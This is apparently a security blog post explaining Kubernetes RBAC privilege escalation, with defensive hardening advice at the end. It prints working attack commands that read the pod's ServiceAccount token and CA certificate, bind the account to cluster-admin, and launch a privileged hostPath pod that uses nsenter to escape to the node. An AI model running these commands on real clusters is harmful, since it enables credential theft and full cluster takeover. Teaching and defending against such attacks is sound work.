Kubernetes RBAC Privilege Escalation: Pod to Cluster Takeover

Kubernetes RBAC Privilege Escalation: Pod to Cluster Takeover

Overview & Threat Landscape#

In cloud-native production architectures, Kubernetes has become the universal control plane for deploying, orchestrating, and scaling containerized workloads. To govern access across microservices, human operators, and CI/CD pipelines, clusters rely on Role-Based Access Control (RBAC). RBAC defines which API groups, resources, and verbs a given subject—whether a human user or an automated ServiceAccount—can manipulate via the Kubernetes API server (kube-apiserver).

However, RBAC misconfigurations represent one of the most prolific privilege escalation vectors in cloud infrastructure. By default, every pod running in a Kubernetes namespace receives an automatically mounted ServiceAccount token via Projected Volumes (/var/run/secrets/kubernetes.io/serviceaccount/token). When development teams grant overly permissive rights (such as bind, escalate, impersonate, nodes/proxy, or wildcard verbs) to these service accounts, an attacker who achieves initial code execution within a single web pod can harvest the ambient token and escalate directly to cluster-admin.

[!WARNING] In Kubernetes, granting a ServiceAccount the create podsorcreate deployments permission is functionally equivalent to granting full root access on the underlying node. An attacker can deploy a privileged container with hostPath volume mounts, chroot into the host filesystem, and seize control of the entire worker node and its collocated secrets.


Vulnerability & Attack Root-Cause Analysis#

Privilege escalation in Kubernetes RBAC occurs when non-admin service accounts possess specific dangerous verb-resource combinations that allow bypassing the authorization boundary.

The primary escalation primitives include:

  1. The bindandescalate Primitive: Kubernetes prevents users from creating or updating RoleBindings to grant permissions they do not already possess, unless they hold the bind verb on the target role, or the escalate verb on the ClusterRole. Possessing either permission allows an attacker to attach the built-in cluster-admin ClusterRole to their own compromised ServiceAccount.
  2. The impersonate Verb Abuse: If a ServiceAccount is granted verbs: ["impersonate"]onresources: ["users", "serviceaccounts", "groups"], the attacker can instruct the API server to execute subsequent API requests as system:masters (the built-in superuser group), bypassing all RBAC policies.
  3. Pod Creation with Privileged hostPath Mounts: If an attacker can execute createorexec on pods, they can spawn an administrative pod mounting the host root filesystem (/) to steal the Kubelet client certificate (/var/lib/kubelet/pki/kubelet-client-current.pem) or access the raw container runtime socket (/run/containerd/containerd.sock).
  4. The nodes/proxy Subresource Exploitation: The nodes/proxy permission grants raw access to the Kubelet HTTP API on worker nodes, allowing attackers to execute commands inside any container running on that node via the Kubelet proxy endpoint.
sequenceDiagram
    autonumber
    participant Attacker as Unprivileged Web Container
    participant Volume as Projected Volume (/var/run/secrets)
    participant APIServer as Kubernetes API Server (Port 6443)
    participant RBAC as RBAC Authorization Engine
    participant Node as Worker Node Host (Kubelet / containerd)

    Attacker->>Volume: Extract ambient ServiceAccount JWT token
    Attacker->>APIServer: Query API server with Bearer token (auth can-i --list)
    APIServer->>RBAC: Validate permissions for ServiceAccount
    RBAC-->>APIServer: Grant permitted: create pods in namespace production
    Attacker->>APIServer: Submit manifest creating Privileged Pod with hostPath=/
    APIServer->>Node: Schedule and start privileged container
    Node-->>Attacker: Privileged container starts with root host mount
    Attacker->>Node: Chroot into /host and extract Kubelet credentials
    Note over Attacker,Node: Full node takeover and cluster-admin escalation achieved

Consider the flawed ClusterRole below, frequently deployed by automated CI/CD and deployment operators:

YAML
## Vulnerable ClusterRole: Dangerous Verbs Configuration
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: cicd-deployment-manager
rules:
  # Flawed Rule 1: Wildcard verbs on workload controllers
  - apiGroups: ["apps"]
    resources: ["deployments", "daemonsets", "statefulsets"]
    verbs: ["*"]

  # Flawed Rule 2: Dangerous escalation verbs on roles
  - apiGroups: ["rbac.authorization.k8s.io"]
    resources: ["clusterroles", "clusterrolebindings"]
    verbs: ["bind", "escalate"]

Exploit Architecture & Boundary Traversal#

The diagram below details how an attacker pivots from an unprivileged pod compromise to full cluster-wide dominance:

flowchart TD
    subgraph CompromisedPod ["Initial Foothold: Namespace DMZ"]
        AppVuln["Vulnerable Web App (RCE / SSRF)"]
        SAToken["Ambient ServiceAccount Token: cicd-runner"]
    end

    subgraph ControlPlaneBoundary ["Kubernetes API Server Boundary"]
        KubeAPI["kube-apiserver: HTTPS / Port 6443"]
        RBACValidator{"RBAC Evaluation: bind / escalate rights?"}
        TokenValidation["Validate OIDC / ServiceAccount JWT Issuer"]
    end

    subgraph ClusterTakeover ["Full Cluster Privilege Escalation"]
        AdminBinding["Create ClusterRoleBinding to cluster-admin"]
        HostEscapePod["Deploy Privileged Pod (hostPID=true, hostPath=/)"]
        KubeletCert["Harvest Kubelet Admin Client Certificate"]
        ClusterAdminRole["Full cluster-admin Domain Dominance"]
    end

    AppVuln --> SAToken
    SAToken -->|Authenticate via Bearer Header| KubeAPI
    KubeAPI --> TokenValidation
    TokenValidation --> RBACValidator
    RBACValidator -->|Allow: escalate verb active| AdminBinding
    RBACValidator -->|Allow: create pod active| HostEscapePod
    HostEscapePod --> KubeletCert
    AdminBinding --> ClusterAdminRole
    KubeletCert --> ClusterAdminRole

Attack Path Step-by-Step#

Consider an attacker who achieves remote code execution in an ingress pod within a Kubernetes cluster.

Step 1: Harvesting the ServiceAccount Token#

The attacker inspects the default projected mount path to retrieve the ServiceAccount JWT and the cluster CA certificate:

# Extract the ambient ServiceAccount token and namespace
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt

## Query current authorization capabilities
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -X POST -H "Content-Type: application/json" \
  -d "{\"spec\":{\"namespace\":\"$NAMESPACE\"}}" | jq .

Step 2: Exploiting the `escalate`and`bind` Verbs#

If the ServiceAccount holds bindonclusterroles, the attacker creates a ClusterRoleBinding associating their service account directly with the built-in cluster-admin role:

# Craft and apply the malicious ClusterRoleBinding manifest
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/apis/rbac.authorization.k8s.io/v1/clusterrolebindings \
  -X POST -H "Content-Type: application/json" \
  -d '{
    "apiVersion": "rbac.authorization.k8s.io/v1",
    "kind": "ClusterRoleBinding",
    "metadata": {"name": "pwned-cluster-admin"},
    "subjects": [{"kind": "ServiceAccount", "name": "cicd-runner", "namespace": "'"$NAMESPACE"'"}],
    "roleRef": {"apiGroup": "rbac.authorization.k8s.io", "kind": "ClusterRole", "name": "cluster-admin"}
  }'

Step 3: Alternative Route - Host Escape via Privileged Pod#

If the token instead possesses create pods rights, the attacker schedules a container configured to mount the node host filesystem:

# Deploy a host-mounting root container
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods \
  -X POST -H "Content-Type: application/json" \
  -d '{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {"name": "escape-pod"},
    "spec": {
      "hostPID": true,
      "hostNetwork": true,
      "containers": [{
        "name": "escape-container",
        "image": "alpine:latest",
        "command": ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "/bin/sh"],
        "securityContext": {"privileged": true},
        "volumeMounts": [{"mountPath": "/host", "name": "host-root"}]
      }],
      "volumes": [{"name": "host-root", "hostPath": {"path": "/"}}]
    }
  }'

[!CAUTION] Once nsenter executes against PID 1 on the host, the attacker breaks out of the container cgroups and namespaces, achieving root execution directly on the Kubernetes worker node.


Fast Cyber Defense Morning Takeaways#

  1. Disable Ambient ServiceAccount Auto-Mounting: Pods that do not communicate with the Kubernetes API server must have automountServiceAccountToken: false set in their pod or service account specifications.
  2. Audit and Eliminate Dangerous RBAC Verbs: Treat bind, escalate, impersonate, and nodes/proxy as high-risk administrative capabilities that must never be granted to workload service accounts.
  3. Enforce Admission Control with Pod Security Standards: Deploy Kubernetes Validating Admission Policies or admission controllers (Kyverno / OPA Gatekeeper) to block privileged containers, hostPath mounts, and hostPID flags.

Tonight in EDITION 2 (Night, 8:45 PM BST), we will publish the companion blue team guide:

  • Enforcing Zero-Trust RBAC Least Privilege using automated audit tools (kube-bench, krane).
  • Deploying Kubernetes ValidatingAdmissionPolicies to block hostPath escapes.
  • Production Sigma and Falco Runtime Detection Rules for anomalous ServiceAccount token usage and API server privilege escalation.

Authoritative Technical References#

Comments